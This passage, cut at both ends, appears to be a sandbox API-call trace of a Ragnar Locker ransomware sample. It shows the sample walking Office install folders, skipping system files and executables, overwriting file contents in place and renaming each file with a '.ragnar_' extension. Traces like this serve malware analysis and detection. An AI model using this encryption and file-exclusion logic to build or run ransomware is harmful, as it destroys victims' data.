Controller\\Word.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0066.619] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0066.638] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x62 [0066.638] lstrcpyW (in: lpString1=0x1ea0ce, lpString2="WordMUI.XML" | out: lpString1="WordMUI.XML") returned="WordMUI.XML" [0066.638] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned=".XML" [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="autorun.inf") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="boot.ini") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootfont.bin") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootsect.bak") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootmgr") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootmgr.efi") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="bootmgfw.efi") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="desktop.ini") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="iconcache.db") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ntldr") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ntuser.dat") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ntuser.dat.log") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="ntuser.ini") returned 1 [0066.638] lstrcmpiW (lpString1="WordMUI.XML", lpString2="thumbs.db") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0066.638] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0066.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0066.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0066.639] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1800) returned 1 [0066.639] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x6ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.639] GetProcessHeap () returned 0x580000 [0066.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.639] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0066.641] VirtualAlloc (lpAddress=0x0, dwSize=0x708, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0066.641] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.641] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0066.641] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x708, lpOverlapped=0x0) returned 1 [0066.642] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0066.642] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x708, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.642] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x708, lpOverlapped=0x0) returned 1 [0066.642] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x708, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.642] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.642] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.642] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.642] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.642] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.642] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0066.642] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.642] GetProcessHeap () returned 0x580000 [0066.642] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.642] CloseHandle (hObject=0x108) returned 1 [0066.643] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" [0066.643] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.ragnar_FD7BD9FC" [0066.643] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0066.644] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0066.644] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0066.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76486fc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76486fc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x76d9a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76d9a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e32920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e32920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x76e58a80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76e58a80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77210ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77210ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0066.644] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0066.644] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.644] lstrcpyW (in: lpString1=0x1eab90, lpString2="ODeploy.exe" | out: lpString1="ODeploy.exe") returned="ODeploy.exe" [0066.644] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned=".exe" [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="autorun.inf") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="boot.ini") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootfont.bin") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootsect.bak") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootmgr") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootmgr.efi") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="bootmgfw.efi") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="desktop.ini") returned 1 [0066.644] lstrcmpiW (lpString1="ODeploy.exe", lpString2="iconcache.db") returned 1 [0066.645] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ntldr") returned 1 [0066.645] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ntuser.dat") returned 1 [0066.645] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ntuser.dat.log") returned 1 [0066.645] lstrcmpiW (lpString1="ODeploy.exe", lpString2="ntuser.ini") returned 1 [0066.645] lstrcmpiW (lpString1="ODeploy.exe", lpString2="thumbs.db") returned -1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0066.645] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0066.645] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77afdf60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77b4a220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77b4a220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77bbc640, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77bbc640, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c08900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c08900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0066.645] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.645] lstrcpyW (in: lpString1=0x1eab90, lpString2="OSETUP.DLL" | out: lpString1="OSETUP.DLL") returned="OSETUP.DLL" [0066.645] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned=".DLL" [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="autorun.inf") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="boot.ini") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootfont.bin") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootsect.bak") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootmgr") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootmgr.efi") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="bootmgfw.efi") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="desktop.ini") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="iconcache.db") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ntldr") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ntuser.dat") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ntuser.dat.log") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="ntuser.ini") returned 1 [0066.645] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="thumbs.db") returned -1 [0066.646] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.646] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.646] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.646] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0066.646] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.646] lstrcpyW (in: lpString1=0x1eab90, lpString2="OSetupPS.dll" | out: lpString1="OSetupPS.dll") returned="OSetupPS.dll" [0066.646] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll") returned=".dll" [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="autorun.inf") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="boot.ini") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="bootfont.bin") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="bootsect.bak") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="bootmgr") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="bootmgr.efi") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="bootmgfw.efi") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="desktop.ini") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="iconcache.db") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="ntldr") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="ntuser.dat") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="ntuser.dat.log") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="ntuser.ini") returned 1 [0066.646] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="thumbs.db") returned -1 [0066.646] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0066.646] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0066.646] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0066.646] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c54bc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c54bc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0066.646] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, 